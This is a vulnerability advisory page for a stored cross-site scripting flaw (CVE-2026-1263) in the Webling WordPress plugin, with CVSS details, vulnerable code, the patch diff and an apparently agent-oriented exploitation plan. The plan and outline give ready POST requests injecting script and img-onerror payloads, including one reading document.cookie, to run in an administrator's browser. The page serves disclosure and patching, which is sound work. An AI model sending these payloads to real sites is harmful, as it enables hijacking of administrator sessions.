CVE-2026-1263

Webling <= 3.9.0 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'title' Parameter

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
3.9.1
Patched in
1d
Time to patch

Description

The Webling plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 3.9.0 due to insufficient input sanitization, insufficient output escaping, and missing capabilities checks in the 'webling_admin_save_form' and 'webling_admin_save_memberlist' functions. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject Webling forms and memberlists with arbitrary web scripts that will execute whenever an administrator views the related form or memberlist area of the WordPress admin.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.9.0
PublishedApril 9, 2026
Last updatedApril 10, 2026
Affected pluginwebling

What Changed in the Fix

Changes introduced in v3.9.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-1263 - Webling Stored XSS ## 1. Vulnerability Summary The Webling plugin for WordPress (<= 3.9.0) contains a stored cross-site scripting (XSS) vulnerability due to improper input sanitization and missing authorization checks in its administrative save function…

Show full research plan

Exploitation Research Plan: CVE-2026-1263 - Webling Stored XSS

1. Vulnerability Summary

The Webling plugin for WordPress (<= 3.9.0) contains a stored cross-site scripting (XSS) vulnerability due to improper input sanitization and missing authorization checks in its administrative save functions. Specifically, the functions webling_admin_save_form and webling_admin_save_memberlist do not verify user capabilities or nonces, and they fail to sanitize the title parameter before saving it to the database. This allows any authenticated user (Subscriber level and above) to inject malicious scripts into the plugin's configuration, which will execute when an administrator views the Webling management pages.

2. Attack Vector Analysis

  • Endpoints:
    • Primary: /wp-admin/admin-post.php (Standard WordPress handler for admin-side POST actions).
    • Alternative: Any page triggering admin_init if the plugin hooks these functions there.
  • Vulnerable Actions: webling_save_form and webling_save_memberlist (inferred from function names webling_admin_save_form and webling_admin_save_memberlist).
  • Vulnerable Parameter: title (sent via POST).
  • Authentication: Subscriber-level access (any logged-in user).
  • Preconditions: The plugin must be active. No valid Webling API key is strictly necessary to write to the local database, although the plugin UI might be limited without one.

3. Code Flow

  1. Entry Point: An authenticated user sends a POST request to /wp-admin/admin-post.php with the parameter action=webling_save_form.
  2. Lack of Authorization: The request reaches webling_admin_save_form (in src/admin/actions/save_form.php). The function lacks a current_user_can('manage_options') check, allowing the Subscriber's request to proceed.
  3. Lack of CSRF Protection: The function lacks a check_admin_referer() or wp_verify_nonce() call.
  4. Input Processing: The code executes $_POST = stripslashes_deep($_POST);.
  5. Database Sink: The $title variable (from $_POST['title']) is passed directly into a $wpdb->prepare statement without any sanitization function like sanitize_text_field().
    // src/admin/actions/save_form.php
    $wpdb->prepare("INSERT INTO {$wpdb->prefix}webling_forms (`title`, ...) VALUES (%s, ...)", $_POST['title'], ...)
    
  6. XSS Trigger: When an administrator visits the Webling plugin dashboard (/wp-admin/admin.php?page=webling_page_main), the plugin retrieves the stored forms and echoes the title field without using esc_html().

4. Nonce Acquisition Strategy

According to the vulnerability description, the functions suffer from missing capability and nonce checks.

  • Assessment: It is highly probable that no nonce is required to exploit these endpoints.
  • Verification: If a nonce check is encountered during execution (e.g., a "Link Expired" or "Are you sure you want to do this?" error), the agent should look for localized variables in the plugin's admin pages.
  • Localized Variables (if needed): Check window.webling_admin_options or similar keys if wp_localize_script is found in the main plugin files (not provided here).

5. Exploitation Strategy

Step 1: Inject Payload into Forms

Submit a POST request as a Subscriber to create a new Webling form with a malicious title.

  • URL: http://<target>/wp-admin/admin-post.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=webling_save_form&form_id=0&title=<script>alert("XSS_FORM")</script>&group_id=0&notification_email=attacker@example.com&confirmation_text=Saved&submit_button_text=Submit&max_signups=0&class=xss-test
    

Step 2: Inject Payload into Memberlists

Submit a POST request as a Subscriber to create a new Webling memberlist.

  • URL: http://<target>/wp-admin/admin-post.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=webling_save_memberlist&list_id=0&title=<img src=x onerror=alert("XSS_LIST")>&design=LIST&type=ALL&sortfield=name&sortorder=ASC
    

Step 3: Trigger the XSS

  1. Navigate to the site as an Administrator.
  2. Go to the Webling plugin main page: /wp-admin/admin.php?page=webling_page_main.
  3. Observe if the alert boxes trigger.

6. Test Data Setup

  1. Users: Create a Subscriber user (user_login: subscriber, password: subscriber123).
  2. Plugin State: Ensure the Webling plugin (slug: webling) version <= 3.9.0 is installed and active.
  3. Database: The tables wp_webling_forms and wp_webling_memberlists must exist (created during plugin activation).

7. Expected Results

  • The POST requests from the Subscriber should return a 302 Redirect to admin.php?page=webling_page_main or webling_page_memberlist_list, indicating successful insertion.
  • When an Admin views the Webling pages, the browser should execute the injected JavaScript.

8. Verification Steps

After performing the HTTP requests, use WP-CLI to confirm the payload is in the database:

# Check if the form with the payload exists
wp db query "SELECT title FROM wp_webling_forms WHERE title LIKE '%<script>%';"

# Check if the memberlist with the payload exists
wp db query "SELECT title FROM wp_webling_memberlists WHERE title LIKE '%alert%';"

9. Alternative Approaches

If admin-post.php does not accept the action, the plugin might be using direct admin_init logic or AJAX.

  • AJAX Attempt: Send the same POST body to /wp-admin/admin-ajax.php.
  • Different Actions: Try action=webling_admin_save_form (matching the function name exactly) if webling_save_form fails.
  • Bypass ID check: If the plugin requires an existing ID, first try to find one by guessing form_id=1. However, the code if ($id) in save_form.php suggests 0 will trigger an INSERT.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Webling plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) due to missing capability checks, nonce verification, and input sanitization in its form and memberlist saving actions. Authenticated users with Subscriber-level access or higher can inject arbitrary scripts into configuration titles, which then execute when an administrator accesses the plugin's management interface.

Vulnerable Code

// src/admin/actions/save_form.php line 3
function webling_admin_save_form()
{
	global $wpdb;

	$_POST = stripslashes_deep($_POST);

	// sanitize id
	$id = intval($_POST['form_id']);

	if ($id) {
        // ...
		// update form
		$wpdb->query(
			$wpdb->prepare("
				UPDATE {$wpdb->prefix}webling_forms
				SET 
				`title` = %s,
                // ...
				WHERE id = %d",
				$_POST['title'],

---

// src/admin/actions/save_memberlist.php line 3
function webling_admin_save_memberlist()
{
	global $wpdb;

	$_POST = stripslashes_deep($_POST);

	// sanitize id
	$id = intval($_POST['list_id']);
    // ...
	if ($id) {
		// update list
		$wpdb->query(
			$wpdb->prepare("
				UPDATE {$wpdb->prefix}webling_memberlists
				SET 
				`title` = %s,
                // ...
				WHERE id = %d",
				$_POST['title'],

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/webling/3.9.0/src/admin/actions/save_form.php /home/deploy/wp-safety.org/data/plugin-versions/webling/3.9.1/src/admin/actions/save_form.php
--- /home/deploy/wp-safety.org/data/plugin-versions/webling/3.9.0/src/admin/actions/save_form.php	2022-05-17 15:35:20.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/webling/3.9.1/src/admin/actions/save_form.php	2026-03-03 09:42:02.000000000 +0000
@@ -2,6 +2,12 @@
 
 function webling_admin_save_form()
 {
+	if (!current_user_can('manage_options')) {
+		wp_die(esc_html__('You do not have sufficient permissions to access this page.', 'webling'));
+	}
+
+	check_admin_referer('webling_save_form');
+
 	global $wpdb;
 
 	$_POST = stripslashes_deep($_POST);
@@ -9,12 +15,14 @@
 	// sanitize id
 	$id = intval($_POST['form_id']);
 
-	if ($id) {
+	// sanitize titles
+	$_POST['title'] = sanitize_text_field($_POST['title']);
 
+	if ($id) {
 
 		// check if form exists
 		$existing = $wpdb->get_row("SELECT id from {$wpdb->prefix}webling_forms WHERE id = ".$id);
 		if (!$existing) {
-			die('Could not update form: form does not exist: '.$id);
+			wp_die(esc_html__('Could not update form: form does not exist: ', 'webling') . intval($id));
 		}
 
 		// update form
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/webling/3.9.0/src/admin/actions/save_memberlist.php /home/deploy/wp-safety.org/data/plugin-versions/webling/3.9.1/src/admin/actions/save_memberlist.php
--- /home/deploy/wp-safety.org/data/plugin-versions/webling/3.9.0/src/admin/actions/save_memberlist.php	2020-12-23 10:05:18.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/webling/3.9.1/src/admin/actions/save_memberlist.php	2026-03-03 09:42:02.000000000 +0000
@@ -2,6 +2,12 @@
 
 function webling_admin_save_memberlist()
 {
+	if (!current_user_can('manage_options')) {
+		wp_die(esc_html__('You do not have sufficient permissions to access this page.', 'webling'));
+	}
+
+	check_admin_referer('webling_save_memberlist');
+
 	global $wpdb;
 
 	$_POST = stripslashes_deep($_POST);
@@ -9,6 +15,16 @@
 	// sanitize id
 	$id = intval($_POST['list_id']);
 
+	// sanitize titles
+	$_POST['title'] = sanitize_text_field($_POST['title']);
+
+	// sanitize HTML fields according to capabilities
+	if (isset($_POST['custom_template'])) {
+		if (!current_user_can('unfiltered_html')) {
+			$_POST['custom_template'] = wp_kses_post($_POST['custom_template']);
+		}
+	}
+

Exploit Outline

The exploit targets the missing authorization and CSRF checks in `admin-post.php` actions. 1. **Authentication**: Authenticate as any user with Subscriber-level privileges. 2. **Injection**: Send a POST request to `/wp-admin/admin-post.php` with the `action` parameter set to either `webling_save_form` or `webling_save_memberlist`. The payload should include a `title` parameter containing a malicious script, such as `<script>alert(document.cookie)</script>`. Because there are no nonce or capability checks, the plugin accepts the request and saves the unsanitized title to the database. 3. **Execution**: Wait for an administrator to log in and visit the Webling plugin dashboard (e.g., `/wp-admin/admin.php?page=webling_page_main`). The plugin retrieves the stored form/memberlist title and renders it to the page without proper escaping, triggering the execution of the injected script in the administrator's browser session.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.